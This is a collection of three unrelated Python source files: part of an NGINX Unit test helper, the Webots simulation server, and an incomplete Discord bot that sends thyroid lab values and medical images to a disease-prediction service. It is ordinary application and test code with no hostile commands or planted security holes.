alerts/sanitizer errors found in log:') [print(alert) for alert in alerts] found = True if self.skip_alerts: for skip in self.skip_alerts: alerts = [al for al in alerts if re.search(skip, al) is None] self.assertFalse(alerts, 'alert(s)') if not self.skip_sanitizer: self.assertFalse(re.findall('.+Sanitizer.+', log), 'sanitizer error(s)') if found: print('skipped.') def waitforfiles(self, *files): for i in range(50): wait = False ret = False for f in files: if not os.path.exists(f): wait = True break if wait: time.sleep(0.1) else: ret = True break return ret class TestUnitHTTP(TestUnit): def http(self, start_str, **kwargs): sock_type = 'ipv4' if 'sock_type' not in kwargs else kwargs['sock_type'] port = 7080 if 'port' not in kwargs else kwargs['port'] url = '/' if 'url' not in kwargs else kwargs['url'] http = 'HTTP/1.0' if 'http_10' in kwargs else 'HTTP/1.1' headers = ({ 'Host': 'localhost', 'Connection': 'close' } if 'headers' not in kwargs else kwargs['headers']) body = b'' if 'body' not in kwargs else kwargs['body'] crlf = '\r\n' if 'addr' not in kwargs: addr = '::1' if sock_type == 'ipv6' else '127.0.0.1' else: addr = kwargs['addr'] sock_types = { 'ipv4': socket.AF_INET, 'ipv6': socket.AF_INET6, 'unix': socket.AF_UNIX } if 'sock' not in kwargs: sock = socket.socket(sock_types[sock_type], socket.SOCK_STREAM) connect_args = addr if sock_type == 'unix' else (addr, port) try: sock.connect(connect_args) except ConnectionRefusedError: sock.close() return None else: sock = kwargs['sock'] sock.setblocking(False) if 'raw' not in kwargs: req = ' '.join([start_str, url, http]) + crlf if body is not b'': if isinstance(body, str): body = body.encode() if 'Content-Length' not in headers: headers['Content-Length'] = len(body) for header, value in headers.items(): req += header + ': ' + str(value) + crlf req = (req + crlf).encode() + body else: req = start_str sock.sendall(req) if '--verbose' in sys.argv: print('>>>', req, sep='\n') resp = self.recvall(sock) if '--verbose' in sys.argv: print('<<<', resp.encode('utf-8'), sep='\n') if 'raw_resp' not in kwargs: resp = self._resp_to_dict(resp) if 'start' not in kwargs: sock.close() return resp return (resp, sock) def delete(self, **kwargs): return self.http('DELETE', **kwargs) def get(self, **kwargs): return self.http('GET', **kwargs) def post(self, **kwargs): return self.http('POST', **kwargs) def put(self, **kwargs): return self.http('PUT', **kwargs) def recvall(self, sock, buff_size=4096): data = b'' while select.select([sock], [], [], 1)[0]: try: part = sock.recv(buff_size) except: break data += part if not len(part): break return data.decode() def _resp_to_dict(self, resp): m = re.search('(.*?\x0d\x0a?)\x0d\x0a?(.*)', resp, re.M | re.S) if not m: return {} headers_text, body = m.group(1), m.group(2) p = re.compile('(.*?)\x0d\x0a?', re.M | re.S) headers_lines = p.findall(headers_text) status = re.search('^HTTP\/\d\.\d\s(\d+)|$', headers_lines.pop(0)).group(1) headers = {} for line in headers_lines: m = re.search('(.*)\:\s(.*)', line) if m.group(1) not in headers: headers[m.group(1)] = m.group(2) elif isinstance(headers[m.group(1)], list): headers[m.group(1)].append(m.group(2)) else: headers[m.group(1)] = [headers[m.group(1)], m.group(2)] return { 'status': int(status), 'headers': headers, 'body': body } class TestUnitControl(TestUnitHTTP): # TODO socket reuse # TODO http client def conf(self, conf, path='/'): if isinstance(conf, dict): conf = json.dumps(conf) return json.loads(self.put( url=path, body=conf, sock_type='unix', addr=self.testdir + '/control.unit.sock' )['body']) def conf_get(self, path='/'): return json.loads(self.get( url=path, sock_type='unix', addr=self.testdir + '/control.unit.sock' )['body']) def conf_delete(self, path='/'): return json.loads(self.delete( url=path, sock_type='unix', addr=self.testdir + '/control.unit.sock' )['body']) class TestUnitApplicationProto(TestUnitControl): current_dir = os.path.dirname(os.path.abspath(__file__)) def sec_epoch(self): return time.mktime(time.gmtime()) def date_to_sec_epoch(self, date): return time.mktime(time.strptime(date, '%a, %d %b %Y %H:%M:%S %Z')) def search_in_log(self, pattern): with open(self.testdir + '/unit.log', 'r') as f: return re.search(pattern, f.read()) class TestUnitApplicationPython(TestUnitApplicationProto): def load(self, script, name=None): if name is None: name = script self.conf({ "listeners": { "*:7080": { "application": name } }, "applications": { name: { "type": "python", "processes": { "spare": 0 }, "path": self.current_dir + '/python/' + script, "working_directory": self.current_dir + '/python/' + script, "module": "wsgi" } } }) class TestUnitApplicationRuby(TestUnitApplicationProto): def load(self, script, name='config.ru'): self.conf({ "listeners": { "*:7080": { "application": script } }, "applications": { script: { "type": "ruby", "processes": { "spare": 0 }, "working_directory": self.current_dir + '/ruby/' + script, "script": self.current_dir + '/ruby/' + script + '/' + name } } }) class TestUnitApplicationPHP(TestUnitApplicationProto): def load(self, script, name='index.php'): self.conf({ "listeners": { "*:7080": { "application": script } }, "applications": { script: { "type": "php", "processes": { "spare": 0 }, "root": self.current_dir + '/php/' + script, "working_directory": self.current_dir + '/php/' + script, "index": name } } }) class TestUnitApplicationGo(TestUnitApplicationProto): def load(self, script, name='app'): if not os.path.isdir(self.testdir + '/go'): os.mkdir(self.testdir + '/go') env = os.environ.copy() env['GOPATH'] = self.pardir + '/go' process = subprocess.Popen(['go', 'build', '-o', self.testdir + '/go/' + name, self.current_dir + '/go/' + script + '/' + name + '.go'], env=env) process.communicate() self.conf({ "listeners": { "*:7080": { "application": script } }, "applications": { script: { "type": "go", "processes": { "spare": 0 }, "working_directory": self.current_dir + '/go/' + script, "executable": self.testdir + '/go/' + name } } }) class TestUnitApplicationPerl(TestUnitApplicationProto): def load(self, script, name='psgi.pl'): self.conf({ "listeners": { "*:7080": { "application": script } }, "applications": { script: { "type": "perl", "processes": { "spare": 0 }, "working_directory": self.current_dir + '/perl/' + script, "script": self.current_dir + '/perl/' + script + '/' + name } } })
simulation_server.py
#!/usr/bin/env python3 # Copyright 1996-2020 Cyberbotics Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Webots simulation server.""" from io import BytesIO from pynvml import nvmlInit, nvmlShutdown, nvmlDeviceGetHandleByIndex, nvmlDeviceGetName, nvmlDeviceGetMemoryInfo, \ nvmlDeviceGetUtilizationRates, NVMLError from requests import session import asyncio import errno import json import logging import os import platform import psutil import re import shutil import subprocess import sys import tempfile import time import threading import tornado.ioloop import tornado.httpserver import tornado.web import tornado.websocket import traceback import socket import zipfile if sys.platform == 'win32': import wmi SNAPSHOT_REFRESH = 1 # make a performance measurement every second network_sent = 0 network_received = 0 def expand_path(path): """Expand user and environmental variables in a string.""" return os.path.expandvars(os.path.expanduser(path)) def mkdir_p(path): """Create a directory if it doesn't exit.""" try: os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): pass else: raise def chmod_python_and_executable_files(directory): """Add executable permissions to Python and executable files.""" if sys.platform == 'win32': return for filename in os.listdir(directory): fullname = os.path.join(directory, filename) if os.path.isdir(fullname): chmod_python_and_executable_files(fullname) if filename.endswith('.py') or not os.path.splitext(filename)[1]: os.chmod(fullname, 0o775) class Snapshot: """This class stores instantaneous monitoring information on the machine.""" def __init__(self): """Create an empty instance of MonitorSnapshot.""" self.data = {'Timestamp': 0, 'Webots running': 0, 'Webots idle': 0, 'CPU load': 0, 'CPU memory': 0, 'GPU load compute': 0, 'GPU load memory': 0, 'GPU memory': 0, 'Swap': 0, 'Disk': 0, 'Network sent': 0, 'Network received': 0} def write(self): """Save a snapshot into a file.""" if not config['monitorLogEnabled']: return global monitorFile file = open(monitorFile, 'a') file.write(str(self.data['Timestamp']) + ", ") file.write(str(self.data['Webots running']) + ", ") file.write(str(self.data['Webots idle']) + ", ") file.write(str(self.data['CPU load']) + ", ") file.write(str(self.data['CPU memory']) + ", ") file.write(str(self.data['GPU load compute']) + ", ") file.write(str(self.data['GPU load memory']) + ", ") file.write(str(self.data['GPU memory']) + ", ") file.write(str(self.data['Swap']) + ", ") file.write(str(self.data['Disk']) + ", ") file.write(str(self.data['Network sent']) + ", ") file.write(str(self.data['Network received']) + "\n") file.close() class Client: """This class represents an instance of connected client.""" def __init__(self, client_websocket=None): """Create an instance of client.""" self.client_websocket = client_websocket self.streaming_server_port = 0 self.webots_process = None self.on_webots_quit = None self.project_instance_path = '' self.app = '' self.world = '' self.idle = True def __del__(self): """Destroy an instance of client.""" if self.client_websocket: self.client_websocket.close() self.kill_webots() self.cleanup_webots_instance() def prepare_webots_instance(self): """Setup a local Webots project to be run by the client.""" appPath = config['projectsDir'] + '/' + self.app + '/' self.project_instance_path = config['instancesPath'] + str(id(self)) shutil.copytree(appPath, self.project_instance_path) hostFile = open(self.project_instance_path + "/host.txt", 'w') hostFile.write(self.host) hostFile.close() if self.user1Id: payload = {'project': self.app, 'key': self.key, 'user1Id': self.user1Id, 'user1Name': self.user1Name, 'user1Authentication': self.user1Authentication, 'user2Id': self.user2Id, 'user2Name': self.user2Name, 'customData': self.customData} with session() as c: response = c.post(self.host + '/ajax/download-project.php', data=payload) if response.content.startswith(b'Error:'): error = response.content.decode('utf-8') if error.startswith('Error: no such directory: '): return True # Use the default directory instead logging.error("Failed to download project: " + error + "(host = " + self.host + ")") return False fp = BytesIO(response.content) try: with zipfile.ZipFile(fp, 'r') as zfp: zfp.extractall(self.project_instance_path) except zipfile.BadZipfile: logging.error("Bad ZIP file:\n" + response.content.decode('utf-8')) return False chmod_python_and_executable_files(self.project_instance_path) return True def cleanup_webots_instance(self): """Cleanup the local Webots project not used any more by the client.""" if self.project_instance_path: shutil.rmtree(self.project_instance_path) def start_webots(self, on_webots_quit): """Start a Webots instance in a separate thread.""" def runWebotsInThread(client): global config world = self.project_instance_path + '/worlds/' + self.world port = client.streaming_server_port command = config['webots'] + ' --batch --mode=pause --minimize ' command += '--stream="port=' + str(port) + ';monitorActivity' if self.user1Authentication or not self.user1Id: # we are running our own or an anonymous simulation command += ';controllerEdit' if 'multimediaServer' in config: command += ';multimediaServer=' + config['multimediaServer'] if 'multimediaStream' in config: command += ';multimediaStream=' + config['multimediaStream'] if config['ssl']: command += ';ssl' command += '" ' + world try: client.webots_process = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT, bufsize=1, universal_newlines=True) except Exception: logging.error('Unable to start Webots: ' + command) return logging.info('[%d] Webots [%d] started: "%s"' % (id(client), client.webots_process.pid, command)) while 1: if client.webots_process is None: # client connection closed or killed return line = client.webots_process.stdout.readline().rstrip() if line.startswith('open'): # Webots world is loaded, ready to receive connections break hostname = client.client_websocket.request.host.split(':')[0] if config['ssl']: protocol = 'wss:' else: protocol = 'ws:' asyncio.set_event_loop(asyncio.new_event_loop()) client.client_websocket.write_message('webots:' + protocol + '//' + hostname + ':' + str(port)) for line in iter(client.webots_process.stdout.readline, b''): line = line.rstrip() if line == 'pause': client.idle = True elif line == 'real-time' or line == 'step': client.idle = False elif line == '.': client.client_websocket.write_message('.') client.on_exit() if self.prepare_webots_instance(): self.on_webots_quit = on_webots_quit threading.Thread(target=runWebotsInThread, args=(self,)).start() else: on_webots_quit() def on_exit(self): """Callback issued when Webots quits.""" if self.webots_process: logging.warning('[%d] Webots [%d] exited' % (id(self), self.webots_process.pid)) self.webots_process.wait() self.webots_process = None self.on_webots_quit() def kill_webots(self): """Force the termination of Webots.""" if self.webots_process: logging.warning('[%d] Webots [%d] was killed' % (id(self), self.webots_process.pid)) if sys.platform == 'darwin': self.webots_process.kill() else: self.webots_process.terminate() try: self.webots_process.wait(5) # set a timeout (seconds) to avoid blocking the whole script except subprocess.TimeoutExpired: logging.warning('[%d] ERROR killing Webots [%d]' % (id(self), self.webots_process.pid)) self.webots_process.kill() self.webots_process = None class ClientWebSocketHandler(tornado.websocket.WebSocketHandler): """This class handles websocket connections.""" clients = set() def check_origin(self, origin): """Allow to run the server on the same computer as the client.""" return True @classmethod def find_client_from_websocket(cls, client_websocket): """Return client associated with a websocket.""" for client in cls.clients: if client.client_websocket == client_websocket: return client return None @classmethod def next_available_port(cls): """Return a port number available for a new Webots WebSocket server.""" port = config['port'] + 1 while True: found = False for client in cls.clients: if port == client.streaming_server_port: found = True break if not found: # try to connect to make sure that port is available testSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = testSocket.connect_ex(('localhost', port)) == 0 testSocket.close() if result: return port port += 1 if port > config['port'] + config['maxConnections']: logging.error("Too many open connections (>" + config['maxConnections'] + ")") return port def open(self): """Open a new connection for an incoming client.""" self.set_nodelay(True) logging.info(self.request.host) client = Client(client_websocket=self) ClientWebSocketHandler.clients.add(client) logging.info('[%d] New client' % (id(client),)) def on_close(self): """Close connection after client leaves.""" client = ClientWebSocketHandler.find_client_from_websocket(self) if client: logging.info('[%d] Client disconnected' % (id(client),)) client.kill_webots() if client in ClientWebSocketHandler.clients: ClientWebSocketHandler.clients.remove(client) del client def on_message(self, message): """Receive message from client.""" client = ClientWebSocketHandler.find_client_from_websocket(self) if client: data = json.loads(message) if 'init' in data: # setup client client.streaming_server_port = ClientWebSocketHandler.next_available_port() logging.info('data[init]=%s' % data['init']) client.host = data['init'][0] client.app = data['init'][1] client.world = data['init'][2] client.user1Id = data['init'][3] client.user1Name = data['init'][4] client.user1Authentication = data['init'][5] client.user2Id = data['init'][6] client.user2Name = data['init'][7] client.customData = data['init'][8] client.idle = True # Check that client.host is allowed if client.host.startswith('https://'): host = client.host[8:] else: # assuming 'http://' host = client.host[7:] n = host.find(':') if n > 0: host = host[:n] keyFilename = os.path.join(config['keyDir'], host) if os.path.isfile(keyFilename): try: keyFile = open(keyFilename, "r") except IOError: logging.error("Unknown host: " + host + " from " + self.request.remote_ip) client.client_websocket.close() return client.key = keyFile.readline().rstrip(os.linesep) keyFile.close() else: logging.warning("No key for: " + host) logging.info('[%d] Setup client %s %s ' '(remote ip: %s, streaming_server_port: %s)' % (id(client), client.app, client.world, self.request.remote_ip, client.streaming_server_port)) self.start_client() elif "reset controller" in data: relativeFilename = '/controllers/' + data['reset controller'] shutil.copyfile(config['projectsDir'] + '/' + client.app + relativeFilename, client.project_instance_path + '/' + relativeFilename) self.write_message('reset controller: ' + data['reset controller']) logging.info('[%d] Reset file %s ' '(remote ip: %s, streaming_server_port: %s)' % (id(client), data['reset controller'], self.request.remote_ip, client.streaming_server_port)) def on_webots_quit(self): """Cleanup websocket connection.""" client = ClientWebSocketHandler.find_client_from_websocket(self) if client and client.client_websocket: client.client_websocket.close() def start_client(self): """Start Webots.""" # let 10 seconds to start Webots self.last_supervisor_activity = None client = ClientWebSocketHandler.find_client_from_websocket(self) client.start_webots(self.on_webots_quit) class LoadHandler(tornado.web.RequestHandler): """Handle load requests.""" def get(self): """Return the current load of the simulation server.""" global current_load self.write(str(current_load)) class MonitorHandler(tornado.web.RequestHandler): """Display the monitor web page.""" global config global snapshots global nvidia def get(self): """Write the web page content.""" global cpu_load global gpu_load_compute global gpu_load_memory memory = psutil.virtual_memory() swap = psutil.swap_memory() if nvidia: nvmlHandle = nvmlDeviceGetHandleByIndex(0) gpu = str(nvmlDeviceGetName(nvmlHandle)) gpu_memory = nvmlDeviceGetMemoryInfo(nvmlHandle) gpu_ram = gpu_memory.total / (1024 * 1048576) gpu += " - " + str(gpu_ram) + "GB" else: gpu = "Not recognized" ram = str(int(round(float(memory.total) / (1024 * 1048576)))) + "GB" ram += " (swap: " + str(int(round(float(swap.total) / (1024 * 1048576)))) + "GB)" real_cores = psutil.cpu_count(False) cores_ratio = psutil.cpu_count(True) / real_cores cores = " (" + str(cores_ratio) + "x " + str(real_cores) + " cores)" if re.search("^linux\\d?$", sys.platform): # python2: 'linux2' or 'linux3', python3: 'linux' distribution = platform.linux_distribution() os_name = 'Linux ' + distribution[0] + " " + distribution[1] + " " + distribution[2] command = "cat /proc/cpuinfo" all_info = str(subprocess.check_output(command, shell=True).strip()) for line in all_info.split("\n"): if "model name" in line: cpu = re.sub(".*model name.*:", "", line, 1) break elif sys.platform == 'win32': computer = wmi.WMI() os_info = computer.Win32_OperatingSystem()[0] cpu = computer.Win32_Processor()[0].Name os_name = os_info.Name.encode('utf-8').split('|')[0] + ", version " os_name += os_info.Version elif sys.platform == 'darwin': os_name = 'macOS ' + platform.mac_ver()[0] os.environ['PATH'] = os.environ['PATH'] + os.pathsep + '/usr/sbin' command = 'sysctl -n machdep.cpu.brand_string' cpu = subprocess.check_output(command).strip() else: # unknown platform os_name = 'Unknown' cpu = 'Unknown' self.write("<!DOCTYPE html>\n") self.write("<html><head><meta charset='utf-8'/><title>Webots simulation server</title>") self.write("<link rel='stylesheet' type='text/css' href='css/monitor.css'></head>\n") self.write("<body><h1>Webots simulation server: " + socket.getfqdn() + "</h1>") self.write("<h2>Host: " + os_name + "</h2>\n") self.write("<p><b>CPU load: %g%%</b><br>\n" % cpu_load) self.write(cpu + cores + "</p>\n") self.write("<p><b>GPU load compute: %g%% &mdash; load memory: %g%%</b><br>\n" % (gpu_load_compute, gpu_load_memory)) self.write(gpu + "</p>\n") self.write("<p><b>RAM:</b><br>" + ram + "</p>\n") self.write("<canvas id='graph' height='400' width='1024'></canvas>\n") self.write("<script src='https://www.cyberbotics.com/harry-plotter/0.9f/harry.min.js'></script>\n") self.write("<script>\n") self.write("window.onload = function() {\n") def appendData(label): global snapshots d = "{title:'" + label + "',values:[" for s in snapshots: d += str(s.data[label]) + ',' return d[:-1] + "]}," datas = '' datas += appendData('Webots running') datas += appendData('Webots idle') datas += appendData('CPU load') datas += appendData('CPU memory') datas += appendData('GPU load compute') datas += appendData('GPU load memory') datas += appendData('GPU memory') datas += appendData('Swap') datas += appendData('Disk') datas += appendData('Network sent') datas += appendData('Network received') datas = datas[:-1] # remove the last coma self.write(" plotter({\n") self.write(" canvas: 'graph',\n") self.write(" datas:[ " + datas + "],\n") self.write(""" labels:{ ypos:"left", x:100, y:[50,100], marks:2 }, fill:"none", opacity:0.5, linewidth:3, background:"#fff", autoscale:"top", grid:{ x:[0,100] }, mouseover:{ radius:4, linewidth:2, bullet:"#444", shadowbox:"1,1,0,#000", axis:"x" } });""") self.write("}\n") self.write("</script>\n") self.write("</body></html>") def update_snapshot(): """Compute a monitoring snapshot.""" global current_load global network_sent global network_received global cpu_load global gpu_load_compute global gpu_load_memory memory = psutil.virtual_memory() swap = psutil.swap_memory() disk = psutil.disk_usage('/') n = psutil.net_io_counters() new_network_sent = n.bytes_sent new_network_received = n.bytes_recv network_sent_rate = float(new_network_sent - network_sent) / (SNAPSHOT_REFRESH * 1000000) # expressed in MB/s network_received_rate = float(new_network_received - network_received) / (SNAPSHOT_REFRESH * 1000000) # MB/s network_sent = new_network_sent network_received = new_network_received global nvidia if nvidia: nvmlHandle = nvmlDeviceGetHandleByIndex(0) gpu_memory = nvmlDeviceGetMemoryInfo(nvmlHandle) gpu_ram_usage = round(100 * float(gpu_memory.used) / float(gpu_memory.total), 1) else: # not supported nvmlHandle = 0 gpu_ram_usage = 0 cpu_load = psutil.cpu_percent() try: gpu_load = nvmlDeviceGetUtilizationRates(nvmlHandle) gpu_load_compute = gpu_load.gpu gpu_load_memory = gpu_load.memory except NVMLError: # not supported on some hardware gpu_load_compute = 0 gpu_load_memory = 0 webots_idle = 0 webots_running = 0 for client in ClientWebSocketHandler.clients: if client.idle: webots_idle = webots_idle + 1 else: webots_running = webots_running + 1 snapshot = Snapshot() snapshot.data['Timestamp'] = int(time.time()) snapshot.data['Webots running'] = webots_running snapshot.data['Webots idle'] = webots_idle snapshot.data['CPU load'] = cpu_load snapshot.data['CPU memory'] = memory.percent snapshot.data['GPU load compute'] = gpu_load_compute snapshot.data['GPU load memory'] = gpu_load_memory snapshot.data['GPU memory'] = gpu_ram_usage snapshot.data['Swap'] = swap.percent snapshot.data['Disk'] = disk.percent snapshot.data['Network sent'] = network_sent_rate snapshot.data['Network received'] = network_received_rate snapshot.write() current_load = 0 for key, value in snapshot.data.items(): if key == 'Timestamp': continue if value > current_load: current_load = value snapshots.append(snapshot) if len(snapshots) > 600: # display data for the last 10 minutes del snapshots[0] tornado.ioloop.IOLoop.current().add_timeout(int(time.time()) + SNAPSHOT_REFRESH, update_snapshot) def main(): """Start the simulation server.""" # the following config variables read from the config.json file # are described here: # # port: local port on which the server is listening (launching webots instances). # sslKey: private key for a SSL enabled server. # sslCertificate: certificate for a SSL enabled server. # projectsDir: directory in which projects are located. # keyDir: directory where the host keys needed for validation are stored. # logDir: directory where the log files are written. # monitorLogEnabled: specify if the monitor data have to be stored in a file. # maxConnections: maximum number of simultaneous Webots instances. # global config global snapshots global nvidia global network_sent global network_received global monitorFile n = psutil.net_io_counters() network_sent = n.bytes_sent network_received = n.bytes_recv snapshots = [] config['WEBOTS_HOME'] = os.getenv('WEBOTS_HOME', '../../..').replace('\\', '/') config['webots'] = config['WEBOTS_HOME'] if sys.platform == 'darwin': config['webots'] += '/Contents/MacOS/webots' elif sys.platform == 'win32': config['webots'] += '/msys64/mingw64/bin/webots.exe' else: # linux config['webots'] += '/webots' if 'projectsDir' not in config: config['projectsDir'] = config['WEBOTS_HOME'] + '/projects/samples/robotbenchmark' else: config['projectsDir'] = expand_path(config['projectsDir']) if 'keyDir' not in config: config['keyDir'] = 'key' else: config['keyDir'] = expand_path(config['keyDir']) if 'port' not in config: config['port'] = 2000 if 'maxConnections' not in config: config['maxConnections'] = 100 os.environ['WEBOTS_FIREJAIL_CONTROLLERS'] = '1' config['instancesPath'] = tempfile.gettempdir().replace('\\', '/') + '/webots/instances/' # create the instances path if os.path.exists(config['instancesPath']): shutil.rmtree(config['instancesPath']) mkdir_p(config['instancesPath']) # logging system log_formatter = logging.Formatter('%(asctime)-15s [%(levelname)-7s] %(message)s') root_logger = logging.getLogger() root_logger.setLevel(logging.DEBUG) if 'logDir' not in config: config['logDir'] = 'log' else: config['logDir'] = expand_path(config['logDir']) simulationLogDir = os.path.join(config['logDir'], 'simulation') logFile = os.path.join(simulationLogDir, 'output.log') try: if not os.path.exists(simulationLogDir): os.makedirs(simulationLogDir) file_handler = logging.FileHandler(logFile) file_handler.setFormatter(log_formatter) file_handler.setLevel(logging.INFO) root_logger.addHandler(file_handler) except (OSError, IOError) as e: sys.exit("Log file '" + logFile + "' cannot be created: " + str(e)) # create monitor.csv used by Snapshot if needed if 'monitorLogEnabled' not in config: config['monitorLogEnabled'] = True if config['monitorLogEnabled']: monitorFile = os.path.join(simulationLogDir, 'monitor.csv') try: if not os.path.exists(simulationLogDir): os.makedirs(simulationLogDir) file = open(monitorFile, 'w') file.write("Timestamp, Webots running, Webots idle, CPU load, CPU memory, " "GPU load compute, GPU load memory, GPU memory, Swap, Disk, Network sent, Network received\n") file.close() except (OSError, IOError) as e: logging.error("Log file '" + monitorFile + "' cannot be created: " + str(e)) # startup janus server if needed if 'multimediaServer' in config: subprocess.Popen(["/opt/janus/bin/janus"]) # startup the server logging.info("Running simulation server on port %d" % config['port']) handlers = [] handlers.append((r'/monitor', MonitorHandler)) handlers.append((r'/client', ClientWebSocketHandler)) handlers.append((r'/load', LoadHandler)) handlers.append((r'/(.*)', tornado.web.StaticFileHandler, {'path': config['WEBOTS_HOME'] + '/resources/web/server/www', 'default_filename': 'index.html'})) application = tornado.web.Application(handlers) if 'sslCertificate' in config and 'sslKey' in config: config['ssl'] = True ssl_certificate = os.path.abspath(expand_path(config['sslCertificate'])) ssl_key = os.path.abspath(expand_path(config['sslKey'])) ssl_options = {"certfile": ssl_certificate, "keyfile": ssl_key} http_server = tornado.httpserver.HTTPServer(application, ssl_options=ssl_options) else: config['ssl'] = False http_server = tornado.httpserver.HTTPServer(application) http_server.listen(config['port']) message = "Simulation server running on port %d (" % config['port'] if not config['ssl']: message += 'no ' message += 'SSL)' print(message) sys.stdout.flush() try: nvmlInit() nvidia = True except NVMLError: nvidia = False update_snapshot() try: tornado.ioloop.IOLoop.current().start() except Exception: logging.info(traceback.format_exc()) for client in ClientWebSocketHandler.clients: del client if nvidia: nvmlShutdown() if sys.platform == 'linux2': # kill all the existing instances of Webots to avoid conflicts with web socket port os.system("killall -q webots-bin") # specify the display to ensure Webots can be executed even if this script is started remotely from a ssh session if "DISPLAY" not in os.environ: os.environ["DISPLAY"] = ":0" # ensure we are in the script directory os.chdir(os.path.dirname(os.path.realpath(__file__))) argc = len(sys.argv) if argc == 1: config_json = 'config/simulation/default.json' elif argc == 2: config_json = sys.argv[1] else: sys.exit('Too many arguments.') with open(config_json) as config_file: config = json.load(config_file) if __name__ == '__main__': main()
DiscoTiro.py
import discord import Client import shlex import argparse import response import threading import analizemedicale import json import requests import hashlib import imghdr import asyncio from multiprocessing import Process from discord.ext import commands with open("auth.json") as json_file: config = json.load(json_file) token = config["bot_token"] webhook = config["bot_webhook_url"] ip_addr = config["ip_addr"] port = config["port"] bot = commands.Bot(command_prefix="~") @bot.event async def on_ready(): print("Bot is running and ready to use!") @bot.command(pass_context = True) async def hypo(ctx): if(client.get_service_status() == False): await ctx.send("Service unavailable") return entirecommand = ctx.message.content arguments = entirecommand.replace('~hypo ', '') splinted = shlex.split(arguments) parser = argparse.ArgumentParser() parser.add_argument("-age") parser.add_argument("-sex") parser.add_argument("-on_thyroxine") parser.add_argument("-query_on_thyroxin") parser.add_argument("-on_antythyroid_medication") parser.add_argument("-thyroid_surgery") parser.add_argument("-query_hypothyroid") parser.add_argument("-query_hyperthyroid") parser.add_argument("-pregnant") parser.add_argument("-sick") parser.add_argument("-tumor") parser.add_argument("-lithium") parser.add_argument("-goitre") parser.add_argument("-TSH_measured") parser.add_argument("-TSH") parser.add_argument("-T3_measured") parser.add_argument("-T3") parser.add_argument("-TT4_measured") parser.add_argument("-TT4") parser.add_argument("-FTI_measured") parser.add_argument("-FTI") parser.add_argument("-TBG_measured") parser.add_argument("-TBG") args = parser.parse_args(splinted) persdata = analizemedicale.personaldata(sex=args.sex, age=args.age, on_thyroxine=args.on_thyroxine, query_on_thyroxin=args.query_on_thyroxin, on_antythyroid_medication=args.on_antythyroid_medication, thyroid_surgery=args.thyroid_surgery, query_hypothyroid=args.query_hypothyroid, query_hyperthyroid=args.query_hyperthyroid, pregnant=args.pregnant, sick=args.sick, tumor=args.tumor, lithium=args.lithium, goitre=args.goitre, TSH_measured=args.TSH_measured, TSH=args.TSH, T3_measured=args.T3_measured, T3=args.T3, TT4_measured=args.TT4_measured, TT4=args.TT4, FTI_measured=args.FTI_measured, FTI=args.FTI, TBG_measured=args.TBG_measured, TBG=args.TBG) jsonstring = json.dumps(persdata.__dict__) # sending data response = await client.SendData(jsonstring) await ctx.send('Sansa de hypotiroida: ' + str(response.get_rest())) @bot.command(pass_context = True) async def hyper(ctx): if(client.get_service_status() == False): await ctx.send("Service unavailable") return entirecommand = ctx.message.content arguments = entirecommand.replace('~hyper ', '') splinted = shlex.split(arguments) parser = argparse.ArgumentParser() parser.add_argument("-age") parser.add_argument("-sex") parser.add_argument("-on_thyroxine") parser.add_argument("-query_on_thyroxin") parser.add_argument("-on_antythyroid_medication") parser.add_argument("-thyroid_surgery") parser.add_argument("-query_hypothyroid") parser.add_argument("-query_hyperthyroid") parser.add_argument("-pregnant") parser.add_argument("-sick") parser.add_argument("-tumor") parser.add_argument("-lithium") parser.add_argument("-goitre") parser.add_argument("-TSH_measured") parser.add_argument("-TSH") parser.add_argument("-T3_measured") parser.add_argument("-T3") parser.add_argument("-TT4_measured") parser.add_argument("-TT4") parser.add_argument("-FTI_measured") parser.add_argument("-FTI") parser.add_argument("-TBG_measured") parser.add_argument("-TBG") parser.add_argument("-hypopituitary") parser.add_argument("-psych") parser.add_argument("-Il3l_treatment") try: args = parser.parse_args(splinted) except: await ctx.send("Format gresit, va rugam sa verificati parametrii") persdata = analizemedicale.hyperdata(sex=args.sex, age=args.age, on_thyroxine=args.on_thyroxine, query_on_thyroxin=args.query_on_thyroxin, on_antythyroid_medication=args.on_antythyroid_medication, thyroid_surgery=args.thyroid_surgery, query_hypothyroid=args.query_hypothyroid, query_hyperthyroid=args.query_hyperthyroid, pregnant=args.pregnant, sick=args.sick, tumor=args.tumor, lithium=args.lithium, goitre=args.goitre, TSH_measured=args.TSH_measured, TSH=args.TSH, T3_measured=args.T3_measured, T3=args.T3, TT4_measured=args.TT4_measured, TT4=args.TT4, FTI_measured=args.FTI_measured, FTI=args.FTI, TBG_measured=args.TBG_measured, TBG=args.TBG, Il3l_treatment=args.Il3l_treatment, hypopituitary = args.hypopituitary, psych = args.psych) jsonstring = json.dumps(persdata.__dict__) print(jsonstring) # sending data response = await client.SendData(jsonstring) await ctx.send('Sansa de hipertiroida: ' + str(response.get_rest())) @bot.command(pass_context = True) async def pneumonia(ctx): errcode = await send_and_receive_response('pneumonia', ctx) @bot.command(pass_context = True) async def tuberculoza(ctx): errcode = await send_and_receive_response('tuberculoza', ctx) @bot.command(pass_context = True) async def bleeding(ctx): errcode = await send_and_receive_response('hemoragie', ctx) @bot.command(pass_context = True) async def breast(ctx): errcode = await send_and_receive_response('cancersan', ctx) @bot.command(pass_context = True) async def leukemia(ctx): errcode = await send_and_receive_response('leucemie', ctx) @bot.command(pass_context = True) async def malaria(ctx): errcode = await send_and_receive_response('malarie', ctx) @bot.command(pass_context = True) async def skin_cancer(ctx): errcode = await send_and_receive_response('cancerpiele', ctx) async def send_and_receive_response(disease, ctx): if(client.get_service_status() == False): await ctx.send("Service unavailable") return 2 photo_url = ctx.message.attachments[0].url photo_content = requests.get(photo_url).content file_name_hash = hashlib.md5(photo_content) f = open('photos\\' + file_name_hash.hexdigest(),'wb') f.write(photo_content) f.close() if(imghdr.what('photos\\' + file_name_hash.hexdigest()) != None): response = await client.SendPhoto(disease, 'photos\\' + file_name_hash.hexdigest()) await ctx.send(disease + ' result: ' + str(response.get_rest())) return 0 else: await ctx.send('Invalid photo') return 1 def 